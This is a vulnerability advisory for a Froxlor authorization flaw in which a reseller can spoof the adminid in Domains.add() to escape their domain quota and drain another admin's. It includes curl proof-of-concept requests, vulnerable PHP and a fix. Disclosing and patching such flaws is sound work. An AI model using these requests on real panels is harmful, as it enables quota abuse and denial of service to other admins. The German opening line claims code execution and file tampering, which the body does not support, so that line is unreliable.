CVE-2026-41233

Ein Angreifer kann mehrere Schwachstellen in Froxlor ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, und um Dateien zu manipulieren.

## Summary In `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota. ## Details In `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327: ```php $adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid'))); ``` The validation for this parameter only runs when the caller has `customers_see_all == '1'` (lines 410-421): ```php if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) { $admin_stmt = Database::prepare(" SELECT * FROM `" . TABLE_PANEL_ADMINS . "` WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')"); $admin = Database::pexecute_first($admin_stmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); } ``` When a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this->getUserDetail('adminid')`. The unvalidated `$adminid` flows directly into: 1. The domain INSERT at line 757: `'adminid' => $adminid` 2. The quota increment at lines 862-868: ```php $upd_stmt = Database::prepare(" UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1 WHERE `adminid` = :adminid "); Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true); ``` Compare with `Domains.update()` at lines 1386-1387 which correctly handles this case: ```php } else { $adminid = $result['adminid']; } ``` The initial quota check at line 321 checks the *caller's* own quota (`$this->getUserDetail('domains_used')`), but since the caller's `domains_used` is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely. Note: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller's own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed. ## PoC ```bash # Step 1: Create a domain with the reseller's API key, specifying a different admin's ID curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}' # Where: # - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all # - customerid=3 = one of the reseller's own customers # - adminid=1 = the super-admin's ID (or any other admin's ID) # Step 2: Verify the domain was created with adminid=1 # In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com'; # Expected: adminid=1 # Step 3: Check the reseller's quota was NOT incremented # In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>; # Expected: domains_used unchanged # Step 4: Check the target admin's quota WAS incremented # In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1; # Expected: domains_used incremented by 1 # Step 5: Repeat with different domain names to demonstrate unlimited creation curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}' curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}' # The reseller's domains_used remains unchanged, allowing indefinite creation ``` ## Impact 1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented. 2. **Quota exhaustion DoS**: The target admin's `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation. 3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server. 4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect. ## Recommended Fix Add an `else` branch to force `$adminid` to the caller's own admin ID when `customers_see_all != '1'`, consistent with the pattern used in `Domains.update()`: ```php // In lib/Froxlor/Api/Commands/Domains.php, after line 421: if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) { $admin_stmt = Database::prepare(" SELECT * FROM `" . TABLE_PANEL_ADMINS . "` WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')"); $admin = Database::pexecute_first($admin_stmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); } else { // Force adminid to the caller's own ID when they don't have customers_see_all $adminid = intval($this->getUserDetail('adminid')); } ```